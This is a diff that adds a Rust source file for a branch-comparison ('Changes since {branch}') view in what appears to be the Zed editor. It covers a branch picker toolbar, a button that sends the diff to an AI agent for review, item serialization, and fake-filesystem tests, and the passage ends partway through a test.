+++ b/crates/git_ui/src/branch_diff.rs
@@ -0,0 +1,1199 @@
+use crate::{
+    branch_picker,
+    diff_multibuffer::DiffMultibuffer,
+    project_diff::{
+        self, CompareWithBranch, DeployBranchDiff, ReviewDiff, render_send_review_to_agent_button,
+    },
+};
+use agent_settings::AgentSettings;
+use anyhow::{Context as _, Result, anyhow};
+use editor::{
+    Addon, Editor, EditorEvent, RestoreOnlyDiffHunkDelegate, SplittableEditor,
+    actions::SendReviewToAgent,
+};
+use git::{repository::DiffType, status::FileStatus};
+use gpui::{
+    Action, AnyElement, App, AppContext as _, Entity, EventEmitter, FocusHandle, Focusable, Render,
+    SharedString, Subscription, Task, WeakEntity,
+};
+use language::{BufferId, Capability};
+use project::{
+    Project, ProjectPath,
+    git_store::{
+        Repository,
+        diff_buffer_list::{self, DiffBase},
+    },
+};
+use settings::Settings;
+use std::{
+    any::{Any, TypeId},
+    sync::Arc,
+};
+use ui::{DiffStat, Divider, PopoverMenu, Tooltip, prelude::*};
+use workspace::{
+    ItemHandle, ItemNavHistory, SerializableItem, ToolbarItemEvent, ToolbarItemLocation,
+    ToolbarItemView, Workspace,
+    item::{Item, ItemEvent, SaveOptions, TabContentParams},
+    notifications::NotifyTaskExt,
+    searchable::SearchableItemHandle,
+};
+use zed_actions::agent::ReviewBranchDiff;
+
+/// The workspace item for a branch (merge-base) diff: "Changes since {branch}".
+/// It wraps a single [`DiffMultibuffer`] over [`DiffBase::Merge`] and delegates
+/// the [`Item`] surface to it. The merge base can be changed in place via the
+/// [`BranchDiffToolbar`]'s branch picker, which reloads without reconfiguring
+/// the editor (the merge styling is identical for every base ref).
+pub struct BranchDiff {
+    diff: Entity<DiffMultibuffer>,
+    project: Entity<Project>,
+    workspace: WeakEntity<Workspace>,
+    _diff_event_subscription: Subscription,
+}
+
+struct BranchDiffAddon {
+    branch_diff: Entity<diff_buffer_list::DiffBufferList>,
+}
+
+impl Addon for BranchDiffAddon {
+    fn to_any(&self) -> &dyn std::any::Any {
+        self
+    }
+
+    fn override_status_for_buffer_id(&self, buffer_id: BufferId, cx: &App) -> Option<FileStatus> {
+        self.branch_diff
+            .read(cx)
+            .status_for_buffer_id(buffer_id, cx)
+    }
+}
+
+impl BranchDiff {
+    pub(crate) fn register(workspace: &mut Workspace, cx: &mut Context<Workspace>) {
+        workspace.register_action(Self::deploy_branch_diff);
+        workspace.register_action(Self::compare_with_branch);
+        workspace::register_serializable_item::<Self>(cx);
+    }
+
+    fn deploy_branch_diff(
+        workspace: &mut Workspace,
+        _: &DeployBranchDiff,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        telemetry::event!("Git Branch Diff Opened");
+        let project = workspace.project().clone();
+        let Some(intended_repo) = project.read(cx).active_repository(cx) else {
+            let workspace = cx.entity().downgrade();
+            window
+                .spawn(cx, async |_cx| {
+                    let result: Result<()> = Err(anyhow!("No active repository"));
+                    result
+                })
+                .detach_and_notify_err(workspace, window, cx);
+            return;
+        };
+
+        let default_branch = intended_repo.update(cx, |repo, _| repo.default_branch(true));
+        let workspace = cx.entity();
+        let workspace_weak = workspace.downgrade();
+        window
+            .spawn(cx, async move |cx| {
+                let base_ref = default_branch
+                    .await??
+                    .context("Could not determine default branch")?;
+
+                workspace.update_in(cx, |workspace, window, cx| {
+                    Self::deploy_branch_diff_with_base_ref(
+                        workspace,
+                        project,
+                        intended_repo,
+                        base_ref,
+                        window,
+                        cx,
+                    );
+                })?;
+
+                anyhow::Ok(())
+            })
+            .detach_and_notify_err(workspace_weak, window, cx);
+    }
+
+    fn compare_with_branch(
+        workspace: &mut Workspace,
+        _: &CompareWithBranch,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let project = workspace.project().clone();
+        let Some(repository) = project.read(cx).active_repository(cx) else {
+            let workspace = cx.entity().downgrade();
+            window
+                .spawn(cx, async |_cx| {
+                    let result: Result<()> = Err(anyhow!("No active repository"));
+                    result
+                })
+                .detach_and_notify_err(workspace, window, cx);
+            return;
+        };
+        let selected_branch = workspace.active_item_as::<Self>(cx).and_then(|item| {
+            match item.read(cx).diff_base(cx) {
+                DiffBase::Merge { base_ref } => Some(base_ref.clone()),
+                DiffBase::Head | DiffBase::Index | DiffBase::Staged => None,
+            }
+        });
+        let workspace_handle = workspace.weak_handle();
+        let on_select = Arc::new({
+            let repository = repository.clone();
+            let workspace = workspace_handle.clone();
+            move |branch: git::repository::Branch, window: &mut Window, cx: &mut App| {
+                let base_ref: SharedString = branch.name().to_owned().into();
+                workspace
+                    .update(cx, |workspace, cx| {
+                        Self::deploy_branch_diff_with_base_ref(
+                            workspace,
+                            project.clone(),
+                            repository.clone(),
+                            base_ref,
+                            window,
+                            cx,
+                        );
+                    })
+                    .ok();
+            }
+        });
+
+        workspace.toggle_modal(window, cx, |window, cx| {
+            branch_picker::select_modal(
+                workspace_handle,
+                Some(repository),
+                selected_branch,
+                on_select,
+                window,
+                cx,
+            )
+        });
+    }
+
+    fn deploy_branch_diff_with_base_ref(
+        workspace: &mut Workspace,
+        project: Entity<Project>,
+        intended_repo: Entity<Repository>,
+        base_ref: SharedString,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let existing = workspace.items_of_type::<Self>(cx).find(|item| {
+            let item = item.read(cx);
+            matches!(
+                item.diff_base(cx),
+                DiffBase::Merge { base_ref: existing_base_ref } if existing_base_ref == &base_ref
+            )
+        });
+        if let Some(existing) = existing {
+            workspace.activate_item(&existing, true, true, window, cx);
+
+            let needs_switch = existing.read(cx).repo(cx).map_or(true, |current| {
+                current.read(cx).id != intended_repo.read(cx).id
+            });
+
+            if needs_switch {
+                existing.update(cx, |branch_diff, cx| {
+                    branch_diff.set_repo(Some(intended_repo), cx);
+                });
+            }
+
+            return;
+        }
+
+        let workspace = cx.entity();
+        let workspace_weak = workspace.downgrade();
+        window
+            .spawn(cx, async move |cx| {
+                let this = cx
+                    .update(|window, cx| {
+                        Self::new_with_branch_base(
+                            project,
+                            workspace.clone(),
+                            base_ref,
+                            intended_repo,
+                            window,
+                            cx,
+                        )
+                    })?
+                    .await?;
+                workspace
+                    .update_in(cx, |workspace, window, cx| {
+                        workspace.add_item_to_active_pane(Box::new(this), None, true, window, cx);
+                    })
+                    .ok();
+                anyhow::Ok(())
+            })
+            .detach_and_notify_err(workspace_weak, window, cx);
+    }
+
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn new_with_default_branch(
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Task<Result<Entity<Self>>> {
+        let Some(repo) = project.read(cx).git_store().read(cx).active_repository() else {
+            return Task::ready(Err(anyhow!("No active repository")));
+        };
+        let main_branch = repo.update(cx, |repo, _| repo.default_branch(true));
+        window.spawn(cx, async move |cx| {
+            let base_ref = main_branch
+                .await??
+                .context("Could not determine default branch")?;
+            cx.update(|window, cx| {
+                cx.new(|cx| {
+                    Self::new_with_base_ref(project, workspace, base_ref, Some(repo), window, cx)
+                })
+            })
+        })
+    }
+
+    pub(crate) fn new_with_branch_base(
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        base_ref: SharedString,
+        repo: Entity<Repository>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Task<Result<Entity<Self>>> {
+        window.spawn(cx, async move |cx| {
+            cx.update(|window, cx| {
+                cx.new(|cx| {
+                    Self::new_with_base_ref(project, workspace, base_ref, Some(repo), window, cx)
+                })
+            })
+        })
+    }
+
+    pub(crate) fn new_with_base_ref(
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        base_ref: SharedString,
+        repo: Option<Entity<Repository>>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let branch_diff = cx.new(|cx| {
+            let mut branch_diff = diff_buffer_list::DiffBufferList::new(
+                DiffBase::Merge { base_ref },
+                project.clone(),
+                window,
+                cx,
+            );
+            if repo.is_some() {
+                branch_diff.set_repo(repo, cx);
+            }
+            branch_diff
+        });
+        let branch_diff_for_addon = branch_diff.clone();
+        let diff = cx.new(|cx| {
+            DiffMultibuffer::new(
+                branch_diff,
+                Capability::ReadWrite,
+                "No changes",
+                move |editor, cx| {
+                    editor.set_diff_hunk_delegate(Some(Arc::new(RestoreOnlyDiffHunkDelegate)), cx);
+                    editor.rhs_editor().update(cx, move |rhs_editor, _cx| {
+                        rhs_editor.set_read_only(false);
+                        rhs_editor.register_addon(BranchDiffAddon {
+                            branch_diff: branch_diff_for_addon,
+                        });
+                    });
+                },
+                project.clone(),
+                workspace.clone(),
+                window,
+                cx,
+            )
+        });
+        Self::from_diff(diff, project, workspace, cx)
+    }
+
+    fn from_diff(
+        diff: Entity<DiffMultibuffer>,
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let diff_event_subscription = cx.subscribe(&diff, |_, _, event: &EditorEvent, cx| {
+            cx.emit(event.clone())
+        });
+        Self {
+            diff,
+            project,
+            workspace: workspace.downgrade(),
+            _diff_event_subscription: diff_event_subscription,
+        }
+    }
+
+    pub(crate) fn diff_base<'a>(&'a self, cx: &'a App) -> &'a DiffBase {
+        self.diff.read(cx).diff_base(cx)
+    }
+
+    pub(crate) fn repo(&self, cx: &App) -> Option<Entity<Repository>> {
+        self.diff.read(cx).repo(cx)
+    }
+
+    pub(crate) fn set_repo(&mut self, repo: Option<Entity<Repository>>, cx: &mut Context<Self>) {
+        self.diff.update(cx, |diff, cx| diff.set_repo(repo, cx));
+    }
+
+    fn set_merge_base(&mut self, base_ref: SharedString, cx: &mut Context<Self>) {
+        self.diff.update(cx, |diff, cx| {
+            diff.branch_diff().update(cx, |branch_diff, cx| {
+                branch_diff.set_diff_base(DiffBase::Merge { base_ref }, cx);
+            });
+        });
+    }
+
+    fn review_diff(&mut self, _: &ReviewDiff, window: &mut Window, cx: &mut Context<Self>) {
+        let DiffBase::Merge { base_ref } = self.diff_base(cx).clone() else {
+            return;
+        };
+        let Some(repo) = self.repo(cx) else {
+            return;
+        };
+
+        let diff_receiver = repo.update(cx, |repo, cx| {
+            repo.diff(
+                DiffType::MergeBase {
+                    base_ref: base_ref.clone(),
+                },
+                cx,
+            )
+        });
+
+        let workspace = self.workspace.clone();
+        window
+            .spawn(cx, {
+                let workspace = workspace.clone();
+                async move |cx| {
+                    let diff_text = diff_receiver.await??;
+
+                    if let Some(workspace) = workspace.upgrade() {
+                        workspace.update_in(cx, |_workspace, window, cx| {
+                            window.dispatch_action(
+                                ReviewBranchDiff {
+                                    diff_text: diff_text.into(),
+                                    base_ref,
+                                }
+                                .boxed_clone(),
+                                cx,
+                            );
+                        })?;
+                    }
+
+                    anyhow::Ok(())
+                }
+            })
+            .detach_and_notify_err(workspace, window, cx);
+    }
+
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn editor(&self, cx: &App) -> Entity<SplittableEditor> {
+        self.diff.read(cx).editor().clone()
+    }
+}
+
+impl EventEmitter<EditorEvent> for BranchDiff {}
+
+impl Focusable for BranchDiff {
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        self.diff.read(cx).focus_handle(cx)
+    }
+}
+
+impl Item for BranchDiff {
+    type Event = EditorEvent;
+
+    fn tab_icon(&self, _window: &Window, _cx: &App) -> Option<Icon> {
+        Some(Icon::new(IconName::GitBranch).color(Color::Muted))
+    }
+
+    fn to_item_events(event: &EditorEvent, f: &mut dyn FnMut(ItemEvent)) {
+        Editor::to_item_events(event, f)
+    }
+
+    fn deactivated(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.diff
+            .update(cx, |diff, cx| diff.deactivated(window, cx));
+    }
+
+    fn navigate(
+        &mut self,
+        data: Arc<dyn Any + Send>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        self.diff
+            .update(cx, |diff, cx| diff.navigate(data, window, cx))
+    }
+
+    fn tab_tooltip_text(&self, cx: &App) -> Option<SharedString> {
+        Some(self.tab_content_text(0, cx))
+    }
+
+    fn tab_content(&self, params: TabContentParams, _window: &Window, cx: &App) -> AnyElement {
+        Label::new(self.tab_content_text(0, cx))
+            .color(if params.selected {
+                Color::Default
+            } else {
+                Color::Muted
+            })
+            .into_any_element()
+    }
+
+    fn tab_content_text(&self, _detail: usize, cx: &App) -> SharedString {
+        match self.diff_base(cx) {
+            DiffBase::Merge { base_ref } => format!("Changes since {}", base_ref).into(),
+            DiffBase::Head | DiffBase::Index | DiffBase::Staged => "Changes".into(),
+        }
+    }
+
+    fn telemetry_event_text(&self) -> Option<&'static str> {
+        Some("Branch Diff Opened")
+    }
+
+    fn as_searchable(&self, _: &Entity<Self>, cx: &App) -> Option<Box<dyn SearchableItemHandle>> {
+        Some(Box::new(self.diff.read(cx).editor().clone()))
+    }
+
+    fn for_each_project_item(
+        &self,
+        cx: &App,
+        f: &mut dyn FnMut(gpui::EntityId, &dyn project::ProjectItem),
+    ) {
+        self.diff.read(cx).for_each_project_item(cx, f);
+    }
+
+    fn active_project_path(&self, cx: &App) -> Option<ProjectPath> {
+        self.diff.read(cx).active_project_path(cx)
+    }
+
+    fn set_nav_history(
+        &mut self,
+        nav_history: ItemNavHistory,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff
+            .update(cx, |diff, cx| diff.set_nav_history(nav_history, cx));
+    }
+
+    fn can_split(&self) -> bool {
+        true
+    }
+
+    fn clone_on_split(
+        &self,
+        _workspace_id: Option<workspace::WorkspaceId>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Option<Entity<Self>>>
+    where
+        Self: Sized,
+    {
+        let Some(workspace) = self.workspace.upgrade() else {
+            return Task::ready(None);
+        };
+        let DiffBase::Merge { base_ref } = self.diff_base(cx).clone() else {
+            return Task::ready(None);
+        };
+        let repo = self.repo(cx);
+        let project = self.project.clone();
+        Task::ready(Some(cx.new(|cx| {
+            Self::new_with_base_ref(project, workspace, base_ref, repo, window, cx)
+        })))
+    }
+
+    fn is_dirty(&self, cx: &App) -> bool {
+        self.diff.read(cx).is_dirty(cx)
+    }
+
+    fn has_conflict(&self, cx: &App) -> bool {
+        self.diff.read(cx).has_conflict(cx)
+    }
+
+    fn can_save(&self, _cx: &App) -> bool {
+        true
+    }
+
+    fn save(
+        &mut self,
+        options: SaveOptions,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        self.diff
+            .update(cx, |diff, cx| diff.save(options, project, window, cx))
+    }
+
+    fn save_as(
+        &mut self,
+        _: Entity<Project>,
+        _: ProjectPath,
+        _: &mut Window,
+        _: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        unreachable!()
+    }
+
+    fn reload(
+        &mut self,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        self.diff
+            .update(cx, |diff, cx| diff.reload(project, window, cx))
+    }
+
+    fn act_as_type<'a>(
+        &'a self,
+        type_id: TypeId,
+        self_handle: &'a Entity<Self>,
+        cx: &'a App,
+    ) -> Option<gpui::AnyEntity> {
+        if type_id == TypeId::of::<Self>() {
+            Some(self_handle.clone().into())
+        } else if type_id == TypeId::of::<DiffMultibuffer>() {
+            Some(self.diff.clone().into())
+        } else if type_id == TypeId::of::<Editor>() {
+            Some(
+                self.diff
+                    .read(cx)
+                    .editor()
+                    .read(cx)
+                    .rhs_editor()
+                    .clone()
+                    .into(),
+            )
+        } else if type_id == TypeId::of::<SplittableEditor>() {
+            Some(self.diff.read(cx).editor().clone().into())
+        } else if type_id == TypeId::of::<diff_buffer_list::DiffBufferList>() {
+            Some(self.diff.read(cx).branch_diff().clone().into())
+        } else {
+            None
+        }
+    }
+
+    fn added_to_workspace(
+        &mut self,
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff.update(cx, |diff, cx| {
+            diff.added_to_workspace(workspace, window, cx)
+        });
+    }
+}
+
+impl Render for BranchDiff {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        div()
+            .size_full()
+            .on_action(cx.listener(Self::review_diff))
+            .child(self.diff.clone())
+    }
+}
+
+impl SerializableItem for BranchDiff {
+    fn serialized_item_kind() -> &'static str {
+        "BranchDiff"
+    }
+
+    fn cleanup(
+        _: workspace::WorkspaceId,
+        _: Vec<workspace::ItemId>,
+        _: &mut Window,
+        _: &mut App,
+    ) -> Task<Result<()>> {
+        Task::ready(Ok(()))
+    }
+
+    fn deserialize(
+        project: Entity<Project>,
+        workspace: WeakEntity<Workspace>,
+        workspace_id: workspace::WorkspaceId,
+        item_id: workspace::ItemId,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Task<Result<Entity<Self>>> {
+        let db = project_diff::persistence::ProjectDiffDb::global(cx);
+        window.spawn(cx, async move |cx| {
+            let diff_base = db.get_project_diff_base(item_id, workspace_id)?;
+            let DiffBase::Merge { base_ref } = diff_base else {
+                anyhow::bail!("expected a merge base for a branch diff");
+            };
+            let workspace = workspace.upgrade().context("workspace gone")?;
+            cx.update(|window, cx| {
+                cx.new(|cx| Self::new_with_base_ref(project, workspace, base_ref, None, window, cx))
+            })
+        })
+    }
+
+    fn serialize(
+        &mut self,
+        workspace: &mut Workspace,
+        item_id: workspace::ItemId,
+        _closing: bool,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<Task<Result<()>>> {
+        let workspace_id = workspace.database_id()?;
+        let DiffBase::Merge { base_ref } = self.diff_base(cx).clone() else {
+            return None;
+        };
+        let diff_base = DiffBase::Merge { base_ref };
+        let db = project_diff::persistence::ProjectDiffDb::global(cx);
+        Some(cx.background_spawn(async move {
+            db.save_project_diff_base(item_id, workspace_id, diff_base)
+                .await
+        }))
+    }
+
+    fn should_serialize(&self, _: &Self::Event) -> bool {
+        false
+    }
+}
+
+pub struct BranchDiffToolbar {
+    branch_diff: Option<WeakEntity<BranchDiff>>,
+}
+
+impl BranchDiffToolbar {
+    pub fn new(_cx: &mut Context<Self>) -> Self {
+        Self { branch_diff: None }
+    }
+
+    fn branch_diff(&self, _: &App) -> Option<Entity<BranchDiff>> {
+        self.branch_diff.as_ref()?.upgrade()
+    }
+
+    fn dispatch_action(&self, action: &dyn Action, window: &mut Window, cx: &mut Context<Self>) {
+        if let Some(branch_diff) = self.branch_diff(cx) {
+            branch_diff.focus_handle(cx).focus(window, cx);
+        }
+        let action = action.boxed_clone();
+        cx.defer(move |cx| {
+            cx.dispatch_action(action.as_ref());
+        })
+    }
+}
+
+impl EventEmitter<ToolbarItemEvent> for BranchDiffToolbar {}
+
+impl ToolbarItemView for BranchDiffToolbar {
+    fn set_active_pane_item(
+        &mut self,
+        active_pane_item: Option<&dyn ItemHandle>,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> ToolbarItemLocation {
+        self.branch_diff = active_pane_item
+            .and_then(|item| item.act_as::<BranchDiff>(cx))
+            .map(|entity| entity.downgrade());
+        if self.branch_diff.is_some() {
+            ToolbarItemLocation::PrimaryRight
+        } else {
+            ToolbarItemLocation::Hidden
+        }
+    }
+
+    fn pane_focus_update(
+        &mut self,
+        _pane_focused: bool,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) {
+    }
+}
+
+impl Render for BranchDiffToolbar {
+    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let Some(branch_diff) = self.branch_diff(cx) else {
+            return div();
+        };
+        let focus_handle = branch_diff.focus_handle(cx);
+        let review_count = branch_diff
+            .read(cx)
+            .diff
+            .read(cx)
+            .total_review_comment_count();
+        let (additions, deletions) = branch_diff
+            .read(cx)
+            .diff
+            .read(cx)
+            .calculate_changed_lines(cx);
+        let diff_base = branch_diff.read(cx).diff_base(cx).clone();
+        let DiffBase::Merge { base_ref } = diff_base else {
+            return div();
+        };
+        let selected_base_ref = base_ref.clone();
+        let base_ref_label = format!("Base: {base_ref}");
+        let repository = branch_diff.read(cx).repo(cx);
+        let workspace = branch_diff.read(cx).workspace.clone();
+        let view_for_picker = branch_diff.downgrade();
+
+        let is_multibuffer_empty = branch_diff
+            .read(cx)
+            .diff
+            .read(cx)
+            .multibuffer()
+            .read(cx)
+            .is_empty();
+        let is_ai_enabled = AgentSettings::get_global(cx).enabled(cx);
+
+        let show_review_button = !is_multibuffer_empty && is_ai_enabled;
+
+        h_flex()
+            .my_neg_1()
+            .py_1()
+            .gap_1p5()
+            .flex_wrap()
+            .justify_between()
+            .when(!is_multibuffer_empty, |this| {
+                this.child(DiffStat::new(
+                    "branch-diff-stat",
+                    additions as usize,
+                    deletions as usize,
+                ))
+            })
+            .child(Divider::vertical().ml_1())
+            .child(
+                PopoverMenu::new("branch-diff-base-branch-picker")
+                    .menu(move |window, cx| {
+                        let view_for_picker = view_for_picker.clone();
+                        let on_select = Arc::new(
+                            move |branch: git::repository::Branch,
+                                  _window: &mut Window,
+                                  cx: &mut App| {
+                                let base_ref: SharedString = branch.name().to_owned().into();
+                                view_for_picker
+                                    .update(cx, |branch_diff, cx| {
+                                        branch_diff.set_merge_base(base_ref, cx);
+                                        cx.notify();
+                                    })
+                                    .ok();
+                            },
+                        );
+
+                        Some(branch_picker::select_popover(
+                            workspace.clone(),
+                            repository.clone(),
+                            Some(selected_base_ref.clone()),
+                            on_select,
+                            window,
+                            cx,
+                        ))
+                    })
+                    .trigger_with_tooltip(
+                        Button::new("branch-diff-base-branch", base_ref_label).end_icon(
+                            Icon::new(IconName::ChevronDown)
+                                .size(IconSize::XSmall)
+                                .color(Color::Muted),
+                        ),
+                        Tooltip::text("Select Base Branch"),
+                    ),
+            )
+            .when(show_review_button, |this| {
+                let focus_handle = focus_handle.clone();
+                this.child(Divider::vertical()).child(
+                    Button::new("review-diff", "Review Diff")
+                        .start_icon(
+                            Icon::new(IconName::ZedAssistant)
+                                .size(IconSize::Small)
+                                .color(Color::Muted),
+                        )
+                        .tooltip(move |_, cx| {
+                            Tooltip::with_meta_in(
+                                "Review Diff",
+                                Some(&ReviewDiff),
+                                "Send this diff for your last agent to review.",
+                                &focus_handle,
+                                cx,
+                            )
+                        })
+                        .on_click(cx.listener(|this, _, window, cx| {
+                            this.dispatch_action(&ReviewDiff, window, cx);
+                        })),
+                )
+            })
+            .when(review_count > 0, |this| {
+                this.child(Divider::vertical()).child(
+                    render_send_review_to_agent_button(review_count, &focus_handle).on_click(
+                        cx.listener(|this, _, window, cx| {
+                            this.dispatch_action(&SendReviewToAgent, window, cx)
+                        }),
+                    ),
+                )
+            })
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use anyhow::anyhow;
+    use collections::HashMap;
+    use editor::test::editor_test_context::assert_state_with_diff;
+    use git::status::{FileStatus, TrackedStatus, UnmergedStatus, UnmergedStatusCode};
+    use gpui::TestAppContext;
+    use project::FakeFs;
+    use serde_json::json;
+    use settings::{DiffViewStyle, SettingsStore};
+    use std::path::Path;
+    use std::sync::Arc;
+    use unindent::Unindent as _;
+    use util::{
+        path,
+        rel_path::{RelPath, rel_path},
+    };
+    use workspace::MultiWorkspace;
+
+    use super::*;
+
+    fn init_test(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let store = SettingsStore::test(cx);
+            cx.set_global(store);
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.editor.diff_view_style = Some(DiffViewStyle::Unified);
+                });
+            });
+            theme_settings::init(theme::LoadThemes::JustBase, cx);
+            editor::init(cx);
+            crate::init(cx);
+        });
+    }
+
+    #[gpui::test(iterations = 50)]
+    async fn test_split_diff_conflict_path_transition_with_dirty_buffer_invalid_anchor_panics(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+
+        cx.update(|cx| {
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.editor.diff_view_style = Some(DiffViewStyle::Split);
+                });
+            });
+        });
+
+        let build_conflict_text: fn(usize) -> String = |tag: usize| {
+            let mut lines = (0..80)
+                .map(|line_index| format!("line {line_index}"))
+                .collect::<Vec<_>>();
+            for offset in [5usize, 20, 37, 61] {
+                lines[offset] = format!("base-{tag}-line-{offset}");
+            }
+            format!("{}\n", lines.join("\n"))
+        };
+        let initial_conflict_text = build_conflict_text(0);
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "helper.txt": "same\n",
+                "conflict.txt": initial_conflict_text,
+            }),
+        )
+        .await;
+        fs.with_git_state(path!("/project/.git").as_ref(), true, |state| {
+            state
+                .refs
+                .insert("MERGE_HEAD".into(), "conflict-head".into());
+        })
+        .unwrap();
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[(
+                "conflict.txt",
+                FileStatus::Unmerged(UnmergedStatus {
+                    first_head: UnmergedStatusCode::Updated,
+                    second_head: UnmergedStatusCode::Updated,
+                }),
+            )],
+        );
+        fs.set_merge_base_content_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                ("conflict.txt", build_conflict_text(1)),
+                ("helper.txt", "same\n".to_string()),
+            ],
+        );
+
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        let _branch_diff = cx
+            .update(|window, cx| {
+                BranchDiff::new_with_default_branch(project.clone(), workspace, window, cx)
+            })
+            .await
+            .unwrap();
+        cx.run_until_parked();
+
+        let buffer = project
+            .update(cx, |project, cx| {
+                project.open_local_buffer(path!("/project/conflict.txt"), cx)
+            })
+            .await
+            .unwrap();
+        buffer.update(cx, |buffer, cx| buffer.edit([(0..0, "dirty\n")], None, cx));
+        assert!(buffer.read_with(cx, |buffer, _| buffer.is_dirty()));
+        cx.run_until_parked();
+
+        cx.update(|window, cx| {
+            let fs = fs.clone();
+            window
+                .spawn(cx, async move |cx| {
+                    cx.background_executor().simulate_random_delay().await;
+                    fs.with_git_state(path!("/project/.git").as_ref(), true, |state| {
+                        state.refs.insert("HEAD".into(), "head-1".into());
+                        state.refs.remove("MERGE_HEAD");
+                    })
+                    .unwrap();
+                    fs.set_status_for_repo(
+                        path!("/project/.git").as_ref(),
+                        &[
+                            (
+                                "conflict.txt",
+                                FileStatus::Tracked(TrackedStatus {
+                                    index_status: git::status::StatusCode::Modified,
+                                    worktree_status: git::status::StatusCode::Modified,
+                                }),
+                            ),
+                            (
+                                "helper.txt",
+                                FileStatus::Tracked(TrackedStatus {
+                                    index_status: git::status::StatusCode::Modified,
+                                    worktree_status: git::status::StatusCode::Modified,
+                                }),
+                            ),
+                        ],
+                    );
+                    // FakeFs assigns deterministic OIDs by entry position; flipping order churns
+                    // conflict diff identity without reaching into view internals.
+                    fs.set_merge_base_content_for_repo(
+                        path!("/project/.git").as_ref(),
+                        &[
+                            ("helper.txt", "helper-base\n".to_string()),
+                            ("conflict.txt", build_conflict_text(2)),
+                        ],
+                    );
+                })
+                .detach();
+        });
+
+        cx.update(|window, cx| {
+            let buffer = buffer.clone();
+            window
+                .spawn(cx, async move |cx| {
+                    cx.background_executor().simulate_random_delay().await;
+                    for edit_index in 0..10 {
+                        if edit_index > 0 {
+                            cx.background_executor().simulate_random_delay().await;
+                        }
+                        buffer.update(cx, |buffer, cx| {
+                            let len = buffer.len();
+                            if edit_index % 2 == 0 {
+                                buffer.edit(
+                                    [(0..0, format!("status-burst-head-{edit_index}\n"))],
+                                    None,
+                                    cx,
+                                );
+                            } else {
+                                buffer.edit(
+                                    [(len..len, format!("status-burst-tail-{edit_index}\n"))],
+                                    None,
+                                    cx,
+                                );
+                            }
+                        });
+                    }
+                })
+                .detach();
+        });
+
+        cx.run_until_parked();
+    }
+
+    #[gpui::test]
+    async fn test_branch_diff(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "a.txt": "C",
+                "b.txt": "new",
+                "c.txt": "in-merge-base-and-work-tree",
+                "d.txt": "created-in-head",
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        let diff = cx
+            .update(|window, cx| {
+                BranchDiff::new_with_default_branch(project.clone(), workspace, window, cx)
+            })
+            .await
+            .unwrap();
+        cx.run_until_parked();
+
+        fs.set_head_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("a.txt", "B".into()), ("d.txt", "created-in-head".into())],
+            "sha",
+        );
+        fs.set_merge_base_content_for_repo(
+            Path::new(path!("/project/.git")),
+            &[
+                ("a.txt", "A".into()),
+                ("c.txt", "in-merge-base-and-work-tree".into()),
+            ],
+        );
+        cx.run_until_parked();
+
+        let editor = diff.read_with(cx, |diff, cx| diff.editor(cx).read(cx).rhs_editor().clone());
+
+        assert_state_with_diff(
+            &editor,
+            cx,
+            &"
+                - A
+                + ˇC
+                + new
+                + created-in-head"
+                .unindent(),
+        );
+
+        let statuses: HashMap<Arc<RelPath>, Option<FileStatus>> =
+            editor.update(cx, |editor, cx| {
+                editor
+                    .buffer()
+                    .read(cx)
+                    .all_buffers()
+                    .iter()
+                    .map(|buffer| {
+                        (
+                            buffer.read(cx).file().unwrap().path().clone(),
+                            editor.status_for_buffer_id(buffer.read(cx).remote_id(), cx),
+                        )
